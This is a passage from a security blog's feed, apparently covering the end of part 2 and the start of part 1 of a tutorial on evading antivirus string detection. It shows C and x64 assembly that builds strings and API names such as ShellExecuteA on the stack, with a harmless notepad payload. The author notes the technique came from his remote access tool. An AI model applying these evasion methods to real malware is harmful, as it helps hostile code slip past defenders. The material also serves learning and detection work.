&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Release &amp;quot;shell32.dll&amp;quot; string from stack&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; = END LOADLIBRARY ===========================================&lt;/span&gt;


&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; = START GETPROCADDRESS ===========================================&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Save value to rcx (1st parameter register)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Place &amp;quot;ShellExecuteA&amp;quot; string to the stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;addstr2stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;S&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;l&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;E&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;x&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;c&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;u&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;A&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;GetProcAddress&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; Call GetProcAddress&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Release &amp;quot;ShellExecuteA&amp;quot; from stack&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; = END GETPROCADDRESS ===========================================&lt;/span&gt;


&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; = START SHELLEXECUTEA ===========================================&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Save address of &amp;quot;ShellExecuteA&amp;quot; to r12 (To be called later)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Place &amp;quot;notepad&amp;quot; string to the stack&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;addstr2stack&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;n&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;o&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;t&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;e&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;p&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;a&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="no"&gt;d&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x5&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;msg_open&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Call &amp;quot;ShellExecuteA&amp;quot;, jump to addres&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; Release &amp;quot;notepad&amp;quot; string from stack&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;;; = END SHELLEXECUTEA ===========================================&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I know there's a lot to digest with the code above. I've made the flow similar to the flow of the C program so you can review them side by side if you feel lost. Hopefully, the comments and the separators would also help.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Pay special attention to how the stack is reserved (with &lt;code&gt;sub rsp, 16&lt;/code&gt;) and released (with &lt;code&gt;add rsp, 16&lt;/code&gt;). I did not discuss stack alignments as it's a lengthy explanation in itself. But just remember that we are releasing the data once we've finished passing it to the function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If done correctly, the strings would not be detectable because the data is now on the stack and not in the &lt;code&gt;.data&lt;/code&gt; segment.&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-2-06" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-2-06.png" /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;It is important to note that anti-viruses can employ different techniques to do detection, but a huge part of their functionality will rely on detecting malicious strings. So at least, on that front, we now have an idea on how to defeat it.&lt;/p&gt;
&lt;p&gt;You can view the code for part 1 and 2 &lt;a href="https://github.com/accidentalrebel/string-anti-virus-evasion-x64-assembly"&gt;on Github&lt;/a&gt;. Updates and fixes will be placed there.&lt;/p&gt;
&lt;p&gt;I might post more assembly shenanigans in the future, so stay tuned.&lt;/p&gt;
&lt;p&gt;And as always, for any questions or comments, feel free to reach out to me on &lt;a href="https://twitter.com/accidentalrebel"&gt;Twitter&lt;/a&gt; or &lt;a href="https://www.linkedin.com/in/juan-karlo-licudine/"&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the foundational x64 Windows assembly concepts used throughout this series, see &lt;a href="https://www.accidentalrebel.com/converting-a-malware-dropper-to-x64-assembly.html"&gt;Converting a Malware Dropper to x64 Assembly&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These evasion techniques were first applied in &lt;a href="https://www.accidentalrebel.com/making-a-rat.html"&gt;Making a RAT&lt;/a&gt;, where I implemented string obfuscation in a real C project.&lt;/p&gt;</content><category term="misc"/><category term="evasion"/><category term="assembly"/><category term="av"/></entry><entry><title>String anti-virus evasion in x64 assembly (Part 1)</title><link href="https://www.accidentalrebel.com/string-av-evasion-in-x64-assembly-part-1.html" rel="alternate"/><published>2022-07-08T12:11:00+08:00</published><updated>2022-07-08T12:11:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2022-07-08:/string-av-evasion-in-x64-assembly-part-1.html</id><summary type="html">&lt;p&gt;How to hide strings from antivirus detection by placing them on the stack instead of the .data segment, demonstrated in C and x64 Windows assembly.&lt;/p&gt;</summary><content type="html">&lt;p&gt;One of the features I implemented for my &lt;a href="https://github.com/accidentalrebel/RATwurst"&gt;Remote Access Tool&lt;/a&gt; was an anti-virus evasion capability in the form of strings obfuscation. It wouldn't fool an EDR or a reverse engineer but it was quick to implement so I added it. &lt;/p&gt;
&lt;p&gt;This was over a year ago. I decided to revisit this feature to try and understand it better and find out if it is actually effective.&lt;/p&gt;
&lt;h2 id="what-to-expect"&gt;What to expect&lt;/h2&gt;
&lt;p&gt;In this two-part blog post I will look into the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hiding argument strings&lt;/li&gt;
&lt;li&gt;Hiding API call strings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;THe one you reading now is about the first one. I will be explaining how it's done in C and later convert it to x64 Windows Assembly so we can better understand what's happening under the hood.&lt;/p&gt;
&lt;h2 id="hiding-function-argument-strings"&gt;Hiding function argument strings&lt;/h2&gt;
&lt;p&gt;I got the idea for this AV evasion technique from &lt;a href="https://blog.scrt.ch/2020/06/19/engineering-antivirus-evasion/"&gt;this blog post&lt;/a&gt;. The author posits that one part of an anti-virus detection capability is through checking for suspicious strings in an executable.&lt;/p&gt;
&lt;p&gt;For the purpose of this post, let's pretend that "notepad" is a suspicious string that we don't want be detected by the anti-virus.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;shellapi.h&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;notepad&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;You might think that a call to &lt;code&gt;ShellExecute&lt;/code&gt; is already a big red flag, and you are right. It is! But we'll talk about hiding API calls on the next post. Let's focus on the parameter for now.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the place of the anti-virus, we'll be using the &lt;code&gt;strings&lt;/code&gt; command to check for visible strings like so:&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-1-01" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-1-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;As expected, the word "notepad" is easily detected. This is becaues any string that we declare and initialize in a program gets placed in the &lt;code&gt;.data&lt;/code&gt; segment in memory by the compiler:&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-1-02" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-1-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;To prevent detection, we need a way for the string to not be present in our compiled executable.&lt;/p&gt;
&lt;h2 id="the-solution"&gt;The solution&lt;/h2&gt;
&lt;p&gt;The solution is to declare the string to be passed as the parameter like so:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;o&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;d&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ShellExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;open&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ca_notepad&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SW_SHOW&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And when &lt;code&gt;strings&lt;/code&gt; is run, we now see that the "notepad" string is not present anymore.&lt;/p&gt;
&lt;p&gt;&lt;img alt="string-anti-virus-evasion-in-x64-assembly-part-1-03" src="https://www.accidentalrebel.com/images/string-anti-virus-evasion-in-x64-assembly-part-1-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;How did this happen?&lt;/p&gt;
&lt;p&gt;This is because data contained in arrays are placed on the stack instead of the &lt;code&gt;.data&lt;/code&gt; segment when declared within a function (And also, as long as it is not declared as static).&lt;/p&gt;
&lt;p&gt;To further understand how this happens, let's convert this C program into x64 assembly.&lt;/p&gt;
&lt;h2 id="converting-to-x64-assembly"&gt;Converting to x64 assembly&lt;/h2&gt;
&lt;p&gt;First, we setup our boilerplate code with an entry point and a call to &lt;code&gt;ExitProcess&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rel&lt;/span&gt;

&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;main&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;

&lt;span class="nl"&gt;main:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Before we can call &lt;code&gt;ShellExecute&lt;/code&gt;, we first need to import the &lt;code&gt;ShellExecuteA&lt;/code&gt; symbol using &lt;code&gt;extern&lt;/code&gt;.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;segment&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;.text&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ExitProcess&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;extern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ShellExecuteA&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;h3 id="aside-why-shellexecutea-and-not-shellexecute"&gt;Aside: Why ShellExecuteA and not ShellExecute?&lt;/h3&gt;
&lt;blockquote&gt;
